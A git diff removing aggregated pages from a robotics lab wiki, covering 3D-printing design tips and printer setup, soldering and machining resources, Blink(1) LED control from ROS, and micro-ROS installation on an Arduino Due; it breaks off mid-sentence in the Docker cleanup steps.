Wall Thickness - -The wall thickness defines the number of times the extruder will lay filament around the perimeter of your model before switching to your infill factor. (Infill is defined separately as a percentage. Typically, 10% or 20% works well for infill.) - -Your wall thickness should be defined as a multiple of your nozzle diameter so a .4mm nozzle with a .8mm wall thickness would result in the printer laying a perimeter two thicknesses wide for each layer. This is the case with the MakerBot Replicator 2. - -It is most important to keep this in mind when you are drawing very thin walls. When parts of your model are thin, the perimeter walls are so close together that it doesn’t leave much room for infill in between them. Sometimes, it may not properly fuse the walls to each other, leaving a hollow gap between the walls on the inside of the model. - - -## 2. Part Orientation -![part_orientation](http://www.ap242.org/image/image_gallery?uuid=a7eb3359-8620-457d-9923-9d4cbec5ba5e&groupId=52520&t=1503324782232) - -Part Orientation plays a vital role in determining the final finish of the 3D printed part. In the image above, 4 possible configurations are shown in which the object can be 3D printed. The part orientation while printing affects the following: - -- Time of printing -- Surface Quality -- Mechanical properties (Tensile and Shearing) -- Supports and Overhanging structure - -In the above case, it is best to print the part in the configuration shown in lower left i.e. laying along the surface having the maximum surface area. - -## 3. Overhangs and supports -[overhangs_and_supports](https://cdn-images-1.medium.com/max/1500/1*vRzutfX5qpPH9NHZh-fHBQ.png) - -A 3D printing overhang is any part of a print that extends outward, beyond the previous layer, without any direct support. - -Usually, overhangs up to 45 degrees can still be printed without loss of quality. That's because any layer in a 45-degree overhang is 50% supported by the layer beneath. In other words, each new layer has enough support to remain intact and to make printing possible. - -However, anything past 45 degrees approaches the horizontal and becomes difficult to print. Such overhangs are prone to curling, sagging, delamination, or collapsing. Exceeding 45 degrees means every new layer has less of the previous layer to bond with. This translates to a poor quality print with droopy filament strands. - -How to deal with Overhangs? -- Enable support structures. -![N|Solid](https://cdn-images-1.medium.com/max/1000/1*aFNYLE7vSIA6r-gRyZOGpg.png) -- Orient the object to minimize the need for support structures. -- Slicing i.e. divide the part into subcomponents and glue them together at the end. - -## 4. Warping & Shrinkage -[warping_and_shrinkage](https://static.wixstatic.com/media/e96ca7_9881d5b065274700a5ea433aec66f55f~mv2.jpg/v1/fill/w_410,h_273,al_c,q_80,usm_0.66_1.00_0.01/e96ca7_9881d5b065274700a5ea433aec66f55f~mv2.jpg) - -Warping occurs due to material shrinkage while 3D printing, which causes the corners of the print to lift and detach from the build plate. When plastics are printed, they firstly expand slightly but contract as they cool down. If material contracts too much, this causes the print to bend up from the build plate. Some materials shrink more than others (e.g. PC has a higher shrinkage than PLA), which means there’s a larger chance of warping when using it. - -How to deal with warping? -- Use Raft: A raft or brim is basically underground for your product. You print a number of very light layers under your product. This ensures fewer shrinkage differences and tensions at the bottom of your product. If there is warping, then this mainly affects the raft instead of your product. It is therefore important that the raft is wider than your product so that it does not cause problems when the corners curl up. -- Temperature Control: Choose a printer where the cooling of the product is as gradual as possible. For this purpose, a closed and conditioned box is essential, among other things. This way you have control over the temperature in the cabinet to minimize differences in shrinkage. -- Ensure the build plate is leveled correctly. -- Apply an adhesive: When using a heated build plate, it’s recommended that you apply an adhesive to the glass plate. Please refer to the type of material and compliant adhesive. - -## 5. Tolerance -Tolerances describe how much deviation from a particular value is expected or acceptable. While 3D printing the part may slightly deviate from the actual dimensions. A tighter tolerance indicates higher dimensional accuracy. - -The tolerance can be improved by: -- Use better filament -- Properly calibrate the printer -- Check the motion components -- Place the component at the center of the printing base - -## 6. Material -The choice of material can be crucial for designing 3D printed materials. Here we discuss the two most widely used materials for 3D printing. - -### PLA -PLA (Polylactic Acid) is one of the two most commonly used desktop 3D printing filaments. It is the "default" recommended material for many desktop 3D printers, and with good reason - PLA is useful in a broad range of printing applications, has the virtue of being both odorless and low-warp, and does not require a heated bed. - -Printing Filament Properties: -- PLA filament is a stiff but brittle 3D printing material. -- Well suited for prototyping -- Best for low-stress applications. Should not be the major load bearing of a mechanical structure. -- Best 3D printer material for beginners due to the ease of printing and minimal warp. - -Technologies: FDM, SLA, SLS - -PLA material properties for printing: -- Strength: High | Flexibility: Low | Durability: Medium -- Difficulty to use: Low/li> -- Print temperature: 180°C – 230°C -- Print bed temperature: 20°C – 60°C (but not needed) -- Shrinkage/warping: Minimal -- Soluble: No - - - -### ABS -Acrylonitrile Butadiene Styrene or ABS for short is created from Acrylonitrile, Butadiene and Styrene polymers. It is a material commonly used in personal or household 3D printing, which is done using primarily FDM. If you are used to printing with PLA, you’ll probably find ABS a little trickier to print with. - -ABS Filament: What are the Proper Settings? -It can be quite some task for a newcomer to find the right settings. No spool is alike, and the specifications may vary. Make sure you cover these bases: - -- Close the printer: Before printing, make sure your 3D printer is either closed or that the ambient temperature of your environment isn’t too hot or too cold. -- Use a heated bed: Set the temperature to 110 degrees Celcius. Also, think about using Kapton (blue) on your glass build plate. If you still have problems with the first layer adhesion of your ABS filament, you should use a raft. -- Experiment with the temperature: Set the nozzle temperature to 230 degrees and work your way from there. -- If you see a lot of plastic strings between separate parts and the printer oozes material, lower the temperature by 5 degrees. -- If the filament doesn’t stick, the parts aren’t sturdy or the surfaces have a rough feel, increase the temperature by 5 degrees. - - -ABS 3D Printing Filament Properties: - -- ABS filament is strong, ductile material with wear resistance and heat tolerance. -- Common 3D prints with ABS are Interlocking parts like gears, parts exposed to UV and heat like a car cup holder, or prototyping. -- A wide selection of methods for excellent post-processing. - -Technologies: FDM, Binder Jetting, SLA, PolyJetting - -ABS properties: -- Strength: High | Flexibility: Medium | Durability: High -- Difficulty to use: Medium -- Print temperature: 210°C – 250°C -- Print bed temperature: 80°C – 110°C -- Shrinkage/ warping: Considerable -- Soluble: In esters, ketones, and acetone. - -## Further Reading: -1. Design considerations for 3D printing: https://www.3dhubs.com/knowledge-base/key-design-considerations-3d-printing - -2. Calibrate your 3D printer: https://all3dp.com/2/how-to-calibrate-a-3d-printer-simply-explained - -3. Calibrate extruder: https://all3dp.com/2/extruder-calibration-6-easy-steps-2 - -4. Dimensionality test: https://www.youmagine.com/designs/make-2016-3d-printer-shootout-models - -5. How to fix warping: Tutorial bu Ultimaker: https://ultimaker.com/en/resources/19537-how-to-fix-warping - -6. Accuracy of 3D printing materials: https://www.3dhubs.com/knowledge-base/dimensional-accuracy-3d-printed-parts - -## References: -1. Printing using ABS material: https://all3dp.com/abs-3d-printer-filament-explained - -2. 3D Printing material available: https://all3dp.com/1/3d-printer-filament-types-3d-printing-3d-filament - -3. Printing using PLA material: https://all3dp.com/1/3d-printing-materials-guide-3d-printer-material/#pla - -4. Testing Tolerance of 3D printer: https://all3dp.com/2/3d-printer-tolerance-test-and-improve-your-3d-printer-s-tolerances - -5. Ultimaker manual of 3D printing materials: https://ultimaker.com/en/resources/manuals/materials - -6. Overhanging structures in 3D printing over 45 degrees: https://all3dp.com/2/3d-printing-overhang-how-to-master-overhangs-exceeding-45 - -7. How to deal with material overhangs in 3D printing: https://medium.com/bravovictornovember/3d-print-overhangs-and-how-to-deal-with-them-9eed6a7bcb5d - - -/wiki/fabrication/machining-prototyping/ ---- -date: 2017-08-21 -title: Machining and Prototyping ---- -https://www.youtube.com/user/dgelbart/videos - 18 incredible videos on basic machining and prototyping of mechanical components - -https://www.youtube.com/user/KEF791/featured - Keith Fenner has some detailed videos on machining gear systems - - -/wiki/fabrication/makerbot-replicator-2x/ ---- -date: 2017-08-21 -title: Makerbot Replicator 2x Overview ---- -[Makerbot Replicator 2x](https://store.makerbot.com/printers/replicator2x/) is a popular 3D printer used by hobbyists. This page is for information on the Makerbot Replicator 2x. - -## Software -Software is available for [download here](http://www.makerbot.com/makerware/). - -## Getting Started -#### From SolidWorks to 3D-Printed Beauty -This is a good starting points for anyone looking to convert files from their SolidWorks or another CAD files to get it printed on the Makerbot. -1. From your SolidWorks file or any other CAD file, save the file as a `.STL` file extension. -2. Open up the Makerbot software downloaded from the link above. -3. On the top right, click "Add File" and select your file with the .STL file extension. -4. when the file shows up on your screen in the Makerbot software, position your part in the right position and orientation desired. (Use the move objects and rotate objects button on the left-hand side. The "lay flat" feature in the Rotate and "Put on Platform" in the Move are quite useful). -5. If when moving and rotating the object, the move and rotate buttons show that no item is selected, click on the object once to select and continue. -6. Once positioning/rotating is done, select "Settings" on the top right. -7. Resolutions: How high of a resolution do you want. (Mainly in the z-direction, from 0.15mm to 0.3mm) The higher the resolution, the better it looks, but also the slower it gets printed. -8. Raft/Support: Select if you like to use the raft feature. Support is automatically generated and no control can be applied there. Raft is an optional feature where the entire block is built on top of a layer of the support. It usually adds complexity. -9. Go to "Temperature" in the bottom box, 2nd tabl. Change the temperature for the heat plate to 135C. -10. When done, click on "Export" in the top right corner. -11. Save the Export on you SD card that you'll use for the broth. -12. Take the SD card, go to the Makerbot, and press "Build from SD Card" -13. Once in a while, the machines would encounter other problems leading to a failed print. Stop the machine, examine the system and reprint from the SD Card. - -## Tips -- Read the manual! -- Keep the door closed and the top on to keep uniform heating. -- Default settings can be applied from the Settings menu. -- You can use the Makerware software to change speed, resolution, and heating elements if your build needs special settings. - -## Custom Print Profiles -### Space Jockey Custom Profile -This is 2013-14 Team B's Makerbot slicer profile designed for faster, stronger parts (faster infill, 3 shells), with the temperature settings already tweaked for the MRSD MakerBot. Download and unzip to User/My Things/Profiles, and then select "Space Jockey Hull Parts" in your print settings in Makerware. - -[Download Space_Jockey_Profile.zip](/wiki/fabrication/assets/Space_Jockey_Profile.zip) - -## Issues Log -1. **Issue:** Large objects would start peeling off the left side of the plate. - - **Fix:** Re-leveling the plate helped -2. **Issue:** Large objects began curling on the sides, perhaps due to higher layers cooling and contracting, pulling up the sides. - - **Fix:** Increasing plate temperature to ~ 120C -3. **Issue:** Makerbot kept doing random and strange things 3/4 of the way through the first layer (stop moving printhead and extrude or retract filament, send the printhead to strange location) - - **Fix:** Use an SD card with less than 1GB of data on it. (Was using a 2GB card, as soon as I dropped it below 1 GB of data on the card, it started working fine again with the exact same file on it) -4. **Issue:** Makerbot prints do not stick to plate while printing and prints fail because each layer is offset by the moving prints as a result - - **Fix:** Increase the heat plate temperature to 130C. (You should really just use this every time instead of the default). If the print looks like it's about to come off the heat plate, try to fix it in place with little bits of tape. -5. **Issue:** Makerbot is moving, but no plastic is coming out of the extruder. - - **Fix:** The extrude is clogged. You must cancel and reprint everything. Cancel the build, wait for it to stop printing, and follows the instruction to load the filament. Steps are below: - 1. Press cancel to cancel print. - 2. Wait until the Makerbot stops. - 3. Go to "Change Filament" - 4. Press "Unload xxx extruder" - 5. When prompted by Makerbot, pull out the extruder from the top. - 6. Make sure the extruder channel is clear, press "Load xxx extruder" - 7. Push the clipped filament back in until plastic starts to come off the bottom of the extruder. - - -/wiki/fabrication/milling-process/ ---- -date: 2017-08-21 -title: Milling Process ---- -Milling is one of the most important machining processes. Knowledge of milling would be very helpful in prototyping. Almost all mechatronic design projects would require milling at one time or the other. - -The following 2 part tutorial is very helpful in gaining insights into the usage of the tool. -1. [Part 1](https://www.youtube.com/watch?v=U99asuDT97I) -2. [Part 2](https://www.youtube.com/watch?v=RIbdYmmhPDI&feature=youtu.beTut) - - -/wiki/fabrication/rapid-prototyping/ ---- -date: 2017-08-21 -title: Rapid Prototyping ---- - -One of the biggest challenges a designer faces is validating their design works. The more complex the system design becomes, the more difficult it becomes to accurately predict the behavior of the system. Development of full scale prototype takes time and could prove costly both in terms of time and money if mistakes happen. This is where rapid prototyping comes into play. Rapid prototyping allows the designer to start with a low precision model (developed using paper and pen) and move to increasingly higher precision prototypes as the design iterates. Each iteration provides data which helps a designer to understand the shortcomings of their design and improve it for the next iteration. The positives of doing rapid prototyping are that they help provide a visual of the future state of the system, eliminate errors and prevent time consuming and costly modifications in the final stages of the project. Some of the pros of rapid prototyping are: -- To decrease development time on final product -- To decrease costly mistakes -- To increase effective communication of the design -- To minimize engineering changes -- To eliminate redundant features early in the design - - -Some of the techniques that can be used for developing a rapid prototype are: -- CAD Design -- Cardboard/Wood -- 3D Printing -- Laser cutting - -When developing prototype, the major thing to focus on is the purpose of the prototype. The prototype can be of two types: -- Vertical Prototype: in-depth functionality of a few key features -- Horizontal Prototype: Complete visual representation of the model with no underlying functionality - -It is important to keep in mind what the purpose of the prototype is. A good rule is to focus on the 20% of the functionality that will be used 80% of the time. While it always useful to develop prototypes that pertain to different subsystems to check their validity and effectiveness, the complete model plays an important role too. It helps you to determine different properties of your design, such as the weight and dimensions of the system. You can determine whether you are overshooting your target and where the scope of improvement is. - -The important thing to keep in mind that rapid prototyping does is that it helps you to test and fail early in your design process. Quickly developing systems and testing them allows you to understand the failure modes and work towards eliminating those. Faster you develop and test, more time you have to build a robust and fail proof system. Ra - - -/wiki/fabrication/series-a-pro/ ---- -date: 2017-12-16 -title: Series A Pro ---- -The Series A Pro 3-D printer is a reliable platform that offers a large build volume, flexible controls (including the option to add custom G-code), print monitoring, a large range of print materials. Compared to more beginner-friendly but restrictive options, like the MakerBot, the Series A allows more control and flexibility to the quality, speed, and strength of your print. It also allows the use of more print material options including PLA, PETT, PETG, Nylon, and NijaFlex. - -## Software -The Series A Pro uses a custom version of Cura slicer software,[Cura Type A](https://www.typeamachines.com/downloads#Software), to prepare .STL files for printing. Install, but do not setup Cura until you are ready to setup the Series A Pro on your machine. - - -## Getting Started -The Series A Pro uses a web platform to manage and monitor your prints. Once Cura is installed and you have your .STL prepared, turn on the Series A Pro and wait for about 3 minutes. A WiFi network named "Series1-10610" should appear. Connect to this network. - -> You will not have internet access for the remainder of the setup to until you begin your print! Make sure everything you need to print is pre-downloaded. - -In a bowser window, go to . This should load the Octoprint Series A web interface. - -Once you are connected, open Cura Type A. When prompted, type in our printer's serial number and API key: -- Serial number: 10610 -- API Key: Click on the wrench icon in the upper right hand corner of the Series A webpage and go to the API tab. Copy and paste the API key. -![Find your API Key here](/assets/images/fabrication/SeriesA_APIKey.jpg) - -Click the "Configure" button to prepare your printer. Cura Type A should open. - -In order to print, configure and save your .STL file as .GCODE. In your web interface, upload your file and hit "Print" in the upper left corner of the page. You can monitor your print status by checking the webcam feed, tempurature, or GCODE Viewer tabs. - -## Preparing your print -The Series A Pro printer generally uses PLA (as opposed to ABS). PLA requires very different print settings, and trying to print with ABS settings may damage the machine. Generally: -- Do not print above 220C. 210C is a good starting point. -- The bed tempurature should be around 50C - -### Print Profiles -The standard profile is a good compromise between speed and print quality for PLA on the Series A Pro. -[Download SeriesA_Standard_Profile.zip](/wiki/fabrication/assets/SeriesA_Standard_Profile.zip) -![Print Quality of Standard Profile](/assets/images/fabrication/SeriesA_PLA_SP.jpg) - -## Tips -#### Changing Fillament -Unlike the MakerBot, there is no automating fillament changing funtion. On the Series A web interface, click the "Tempurature" tab and set the printer tempurature to 220C by typing in the indicated text box, clicking enter, and waiting a few seconds for the printer to update. You should see the light red line in the adjacent tempurature graph jump to 220C, and the dark red line should follow. Once the tempurature reaches 220, pull out the old fillament, insert the new fillament, and switch to the "Control" tab. Click the extrude button until the fillament begins to extrude. - -#### Leveling the Build Plate -In theory, the Series A self levels before every build. If you're having any issues with first layer adhesion, turn the printer off and move the print head to the corners. Adjust the leveling screw under each corner until a peice of paper just barely fits between the plate and the nozzel. Repeat this process twice for each corner. - -#### Cleaning the Build Plate -Occasionally, a print will become stuck to the build plate. First, make sure the print and the plate have cooled completely before you try to remove the print. Before you begin a print, put down a fresh layer of painter's tape. Your print should come off of painters tape more smoothely and will not damage the build plate in the even that it gets stuck. - -#### Poor print quality -Cura Type A allows you to adjust almost every aspect of your printer's settings. If you are not satisfied with your print quality, there is almost certainly a fix online. Common problems are: -- "Ringing" on the corners of your prints: Reduce print head acceleration -- Poor platform adhesion after a few layers: Print on a raft, or decrease the surface area that touches the build plate - -## Summary -Though there is a steeper initial learning curve, the Series A Pro allows much more flexibility in the quality, speed, and stregth of your 3D prints. - -## See Also - -## Further Reading - -## References - - - - -/wiki/fabrication/soldering/ ---- -date: 2017-08-21 -title: Soldering ---- -A complete and comprehensive 'How to' guide on soldering. A complete set of tutorials has been provided to guide students on effective soldering techniques, the caveats, and other relevant information. - -This guide is useful for beginners, who are new to soldering or have minimal soldering experience. Though it is quite handy for electrical engineers too, who have been out of touch of soldering for a while. The content of this video series is owned by [Pace USA](http://www.paceusa.com/). - -1. [Basic Soldering Lesson 1: Solder & Flux](https://youtu.be/vIT4ra6Mo0s?list=PL926EC0F1F93C1837). - - Choosing the correct flux, solder and the soldering iron is crucial in achieving a good solder. This video teaches us about that. -2. [Basic Soldering Lesson 2: Soldering to PCB Terminals](https://youtu.be/Mrhg5A1a1mU?list=PL926EC0F1F93C1837). - - Wire stripping, selecting the correct tools and soldering to PCB terminals is crucial to have a flawless circuit. This video teaches us about that. -3. [Basic Soldering Lesson 3: Cup Terminals](https://youtu.be/_GLeCt_u3U8?list=PL926EC0F1F93C1837) - - Soldering to different types of terminals is useful when dealing with different instruments with various connectors. This video teaches us about that. -4. [Basic Soldering Lesson 4: Bifurcated Terminals](https://youtu.be/hvTiql-ED4A?list=PL926EC0F1F93C1837) - - Soldering to different types of terminals is useful when dealing with different instruments with various connectors. This video teaches us about that. -5. [Basic Soldering Lesson 5: Hook and Pierced Terminals](https://youtu.be/sN3V8hMiUb4?list=PL926EC0F1F93C1837) - - Soldering to different types of terminals is useful when dealing with different instruments with various connectors. This video teaches us about that. -6. [Basic Soldering Lesson 6: Component Soldering](https://youtu.be/AY5M-lGxvzo?list=PL926EC0F1F93C1837) - - This video teaches us about proper component soldering, the prepping procedures and proper component mounts. This focuses on single sided board. -7. [Basic Soldering Lesson 7: Integrated Circuits: The DIP-Type Package](https://youtu.be/VgcPxdnjwt4?list=PL926EC0F1F93C1837) - - This video teaches us about proper component soldering, the prepping procedures and proper component mounts. This focuses on double sided board. -8. [Basic Soldering Lesson 8: Integrated Circuits: The TO-5 Type Package](https://youtu.be/sTv3gK9tAKA?list=PL926EC0F1F93C1837) - - This video teaches us about proper component soldering, the prepping procedures and proper component mounts. This focuses on double sided board. -9. [Basic Soldering Lesson 9: Integrated Circuits: The Flatpack & Other Planar-mounted Components](https://youtu.be/Nq5ngauITsw?list=PL926EC0F1F93C1837) - - This video focuses on flat pack soldering on PCB. - - -/wiki/fabrication/turning-process/ ---- -date: 2017-08-21 -title: Turning Process ---- -Turning process is done on lathe machines and is ideal for creating components with rotational symmetry. Components such as shafts, sleeves, pulleys etc can be manufactured/modified on a lathe. This two part tutorial gives in a good insight into the usage of the lathe machines. - -1. [Part 1](https://www.youtube.com/watch?v=H0AyVUfl8-k) -2. [Part 2](https://www.youtube.com/watch?v=Q7QUiCJJmew&feature=youtu.be) diff --git a/wiki/interfacing/__all_subsections.md b/wiki/interfacing/__all_subsections.md deleted file mode 100644 index 734fe427..00000000 --- a/wiki/interfacing/__all_subsections.md +++ /dev/null @@ -1,742 +0,0 @@ - -/wiki/interfacing/blink-1-led/ ---- -date: 2017-08-21 -title: Blink(1) LED ---- -## Introduction -Using an LED indicator is an extremely useful troubleshooting technique. The [Blink(1) USB RGB LED](https://blink1.thingm.com/) makes this very easy and straightforward. Using this product can help determine the state of the robot without needing to have a direct data link. This can be useful on mobile robots, especially drones where cables are not an option. It can run on any operating system, including anything running on your single board computer. - -## Purchasing and Setup -To purchase the Blink(1) LED, go to [their home page](https://blink1.thingm.com/) and click "Buy". At this time of writing the cost was around $30. - -Their software needs to be downloaded and installed from their web site as well. It is a very small set of files, so it does not take up much storage space and will not take long to download. Follow the link to the home page and click "downloads" and follow the instructions for the blink1-tool command-line. In Linux, the easiest way to install this is by entering the following commands in a terminal from your home directory. -``` -$ git clone https://github.com/todbot/blink1.git -$ cd blink1/commandline -$ make -``` -## Getting Started -Once you have your product and the software is installed, try controlling the LED from the terminal command line. In Linux, navigate to the `/blink1/commandline` folder. -``` -$ cd ~/blink1/commandline -$ ls -``` -There should be an executable file called blink1-tool shown in green. This is the program that controls the LED. While in this folder, try some of the following commands. -``` -$ ./blink1-tool --on -$ ./blink1-tool --off -$ ./blink1-tool --green -$ ./blink1-tool --red --blink 5 -``` -These command can be run even if you are not navigated to the `~/blink1/commandline` folder by adding the entire path to the command as follows. -``` -$ ~/blink1/commandlin/blink1-tool --on -``` -For a full list of commands and options, see the [Blink1 Tool Tutorial](https://github.com/todbot/blink1/blob/master/docs/blink1-tool-tips.md). - -## Integration with ROS -In any ROS node, you can write text out to a command line. Here is a guide on how to do this in c++. - -First, make sure you import this package at the top of your file. -``` -#include -``` -With this package included, you can simply output a string using the system() command and it will execute that string as if you typed it into a command line. For example: -``` -std::string output_string; -output_string = "~/blink1/commandline/blink1-tool --on"; - -char* output_char_string = new char [output_string.length()+1]; -std::strcpy(output_char_string, output_string.c_str()); - -system(output_char_string); -``` -Running this inside your node will turn the LED on. Note that `system()` accepts a C-type string, as apposed to a C++ string. It is likely easier to manipulate a C++ string in your code (using the "+" operator to concatenate, for example), so I suggest converting it to a C-type char string just before calling the `system()` command. - -In your code, I would suggest making a node that subscribes to any topics that include information that you would like to check. For our project, we subscribed to our state estimator, vision node, and the flight mode flag. Create a function that contains a series of `if()` statements that checks all of the conditions you would like to visualize. Then assign a color to each condition and create a string based on that color code. At the end of this function, send that string to `system()`. - - -/wiki/interfacing/microros-for-ros2-on-microcontrollers/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2022-05-04 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: micro-ROS for ROS2 on Microcontrollers -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- -[micro-ROS](https://micro.ros.org/) is a set of software libraries that enables development of robotic applications to be deployed onto microcontrollers that are typically limited in computational resources. The micro-ROS framework is designed for use with ROS 2, and can be leveraged for **bidirectional communication** between ROS 2 nodes running on a separate compute and the micro-ROS application running on a **microcontroller**, such as an Arduino. micro-ROS is open-source, and can be highly beneficial for any roboticists aiming to integrate low-level microcontrollers into a robotic system. This page is a tutorial guide for how to setup and use micro-ROS, with an Arduino Due as example hardware. - -## Conceptual Overview -micro-ROS consists of a `node` running on the microcontroller and an `agent` running on the host computer. The `agent` handles the interface between the `node` and the rest of the ROS2 stack. This allows the ROS2 stack and microcontroller `node` to publish and subscribe to each other as if the `node` was like any other ROS2 node. Great! The hardware interface is most commonly a serial connection, such as USB. This tutorial will walk through how to prepare the microcontroller and host computer environments for the `node` and `agent` respectively, and then show some examples for how to test the connection and make a first `node` on the microcontroller. - -![Simplified micro-ROS architecture](/assets/images/interfacing/micro-ros-architecture.png) - -## Installation Overview - -At a high-level, there are two sets of micro-ROS libraries involved in the overall installation process. The first will be a set of micro-ROS client libraries specific to your hardware/microcontroller libraires, which will be necessary to build micro-ROS applications that run on the microcontroller. In addition, in order for your micro-ROS application to communicate with the rest of the ROS 2 stack, you will need to install the core micro-ROS libraries onto the host computer. This will allow micro-ROS to be run on your host machine, which will facilitate communication with a connected microcontroller running a micro-ROS application. The following tutorial will walk through installation of all necessary micro-ROS libraries using example hardware. - -## Prerequisites - -It is also assumed that you have a [supported microcontroller board](https://micro.ros.org/docs/overview/hardware/) on which the micro-ROS application will be built. - -The steps will also use ROS2. At time of writing, there are a few possible options for installing micro-ROS with ROS2: - -1. Install ROS2 natively on the host computer on the computer that will connect to the microcontroller. - -> At time of writing (May 2022), **micro-ROS requires Linux OS** for native installation. - -- In this case, follow the instructions for [Option 1: Installing micro-ROS Natively](#option-1-installing-micro-ros-natively) - -2. Use a ROS2 Docker container. - - Use a pre-built docker image from micro-ROS that comes with micro-ROS installed in a ROS2 environment. In this case, follow the instructions for [Option 2: Using micro-ROS Docker image](#option-2-using-micro-ros-docker-image) - -## Setting Up micro-ROS with Arduino Due - -Here we will go through an example of installing the precompiled micro-ROS libraries for an Arduino Due. First, it is necessary to have the Arduino IDE installed, with the Board Manager configured for use with the Arduino Due board. You can confirm this setup by referencing the [Arduino Due Quickstart Guide](https://docs.arduino.cc/hardware/due). - -The precompiled micro-ROS library can be found on the [releases page](https://github.com/micro-ROS/micro_ros_arduino/releases) of the micro-ROS GitHub repository. Download the ZIP file for the precompiled library correponding to your version of ROS 2 (e.g. galactic, foxy, etc.). Then from within the Arduino IDE, you can include the library in your application by navigating to `Sketch -> Include Library -> Add .ZIP Library`. - -For most officially supported boards for micro-ROS, the precompiled library may be all you need to get started. At this time of writing, however, the Arduino Due is a community-supported board which requires an additional patch. To install the patch, run the following commands: - -``` -export ARDUINO_PATH=[Your Arduino path] -cd $ARDUINO_PATH/hardware/sam/1.6.12/ -curl https://raw.githubusercontent.com/micro-ROS/micro_ros_arduino/galactic/extras/patching_boards/platform_arduinocore_sam.txt > platform.txt -``` - -The `ARDUINO_PATH` referenced above is typically located at one of the following paths: -- On GNU/Linux: `~/.arduino15/packages/arduino` -- On Windows: `%AppData%\Arduino15\packages\arduino` -- On macOS: `~/Library/Arduino15/packages/arduino` - -If you are having difficulty finding this path, feel free to reference Arduino's documentation for [finding the location of installed cores](https://support.arduino.cc/hc/en-us/articles/4411202655634#Arduino15), and be sure to double check that all instructions have been followed in the [Arduino Due Quickstart Guide](https://docs.arduino.cc/hardware/due) referenced earlier. - -After applying the patch, open the Arduino IDE (or if it is already open, close and re-open it). From here you should be able to open a micro-ROS example, e.g. `File -> Examples -> micro_ros_arduino -> micro-ros_publisher`. Verify that it compiles, and this would conclude the micro-ROS precompiled library installation. - -For any troubleshooting, additional instructions can be found at the [micro-ROS README](https://github.com/micro-ROS/micro_ros_arduino/blob/galactic/README.md) - -## Installing micro-ROS on the Host Computer - -Now you will need to install micro-ROS on the host computer. As discussed, there are a couple ways to do this depending on how you want to have your ROS2 environment set up. - -### Option 1: Installing micro-ROS Natively - -To install micro-ROS natively on your host computer, you will first need to have ROS2 installed natively. -> Note that you need to be using a Linux OS. If you do not have a Linux OS, then you should try the Docker option. - -1. Please follow the [ROS2 installation guide](https://docs.ros.org/en/galactic/Installation.html) for official instructions. - -Now that you have ROS2 installed (on your Linux host machine), we can install the micro-ROS libraries. - -2. Run the following commands, as specified in the [installation instructions](https://micro.ros.org/docs/tutorials/core/first_application_linux/): -``` -# Source the ROS 2 installation -source /opt/ros/$ROS_DISTRO/setup.bash - -# Create a workspace and download the micro-ROS tools -mkdir microros_ws -cd microros_ws -git clone -b $ROS_DISTRO https://github.com/micro-ROS/micro_ros_setup.git src/micro_ros_setup - -# Update dependencies using rosdep -sudo apt update && rosdep update -rosdep install --from-paths src --ignore-src -y - -# Install pip -sudo apt-get install python3-pip - -# Build micro-ROS tools and source them -colcon build -source install/local_setup.bash - -# Create firmware -ros2 run micro_ros_setup create_firmware_ws.sh host - -# Build firmware -ros2 run micro_ros_setup build_firmware.sh -source install/local_setup.bash - -# Download micro-ROS-Agent packages -ros2 run micro_ros_setup create_agent_ws.sh - -# Build micro-ROS-Agent -ros2 run micro_ros_setup build_agent.sh -source install/local_setup.bash -``` - -At this point, you should have micro-ROS installed on the host machine and can continue to [Testing the Installation](#testing-the-installation). - -### Option 2: Using micro-ROS Docker image - -Micro-ROS maintains several Docker images that build on top of ROS2 distributions. The images have variable levels of pre-built functionality. The best one for getting started is the `micro-ros-agent` image that will allow you to run an agent directly! For more information about the images available, and how they are constructed, please see the [micro-ROS docker repository](https://github.com/micro-ROS/docker). - -1. First make sure you have Docker installed on your host machine. -> [Docker Desktop for Mac/Windows](https://docs.docker.com/desktop/) OR [Docker Engine for Linux](https://docs.docker.com/engine/install/#server) - -2. Then pull the `micro-ros-agent` image, replacing the branch name with the distro version as `microros/:$ROS_DISTRO`. For example, you can pull the image built on ROS2 galactic by using the following command: -``` -docker pull microros/micro-ros-agent:galactic -``` - -3. Use the `docker run` command to bring the container up. Specify the interface connection type in the arguments, such as for a udp or serial connection. For example, with a serial connection where the serial device shows up on the host device as `/dev/tty0`, use the following command. - -- Note that you may need to play with container port access to allow the container to access the hardware interface. You can mount a device directly by using the --device flag. The should be straightforward on Linux but can be challenging on Mac and Windows. You can also mount many devices easily using [docker compose](https://www.balena.io/docs/learn/develop/hardware/). -- If you are still struggling, you can temporarily give the container privileged access; just be careful with privileged access because it could cause security concerns and/or allow you to accidentally damage devices if you are not careful. [Read more about the risks of privileged mode here](https://learn.snyk.io/lessons/container-runs-in-privileged-mode/kubernetes/) and see the official [Docker documentation on privileged mode](https://docs.docker.com/engine/reference/commandline/run/#/full-container-capabilities-privileged). To give the container privileged access to host hardware, add the `--privileged` flag. -> This command should print out the docker container id. Copy the id, you will need it for the next step! -``` -docker run -d --device=/dev/tty0 --net=host microros/micro-ros-agent:galactic serial --dev /dev/tty0 -``` - -4. Use the container id from the previous step to enter the container. If you didn't see a print out, you can run `docker container ls` and take the id from there. -``` -docker exec -it bash -``` - -5. Now you should be in the micro-ROS Docker container! Your command line should be prepended with something like `root@docker-desktop:/uros_ws#`. To run the micro-ROS agent, simply run the ros2 node and pass in the arguments for the device you are connecting. with a serial connection where the serial device shows up on the host device as `/dev/tty0`, use the following command. -``` -ros2 run micro_ros_agent micro_ros_agent serial --dev /dev/tty0 -``` -Example output waiting for a connected device: -``` -[1651722045.613925] info | TermiosAgentLinux.cpp | init | running... | fd: 3 -[1651722045.614570] info | Root.cpp | set_verbose_level | logger setup | verbose_level: 4 -``` - -This container should be some variant of Linux OS with a ROS2 installation. You should be able to echo and/or publish ROS2 topics to interact with the `node` on the microcontroller! - -6. When you are done testing, exit the container by typing exit at the command prompt. -``` -exit -``` - -![Example steps of running micro-ROS Docker image](/assets/images/interfacing/micro-ros-docker.png) - - -7. Finally, don't forget to stop the container and remove any unnecessary build cache. You can do so by: - 1. List the active containers with `docker container list --all` - 2. Stop any active containers using `docker container stop ` - 3. Remove any stopped containers using `docker container rm ` - 4. List any remaining images using `docker image list --all` - 5. Remove any remaining images with `docker image rm `. -> If you want to clear *ALL docker-related files from your system*, use `docker system prune -a --volumes`. This will clear all existing docker files on your host computer, so any existing containers will need to be 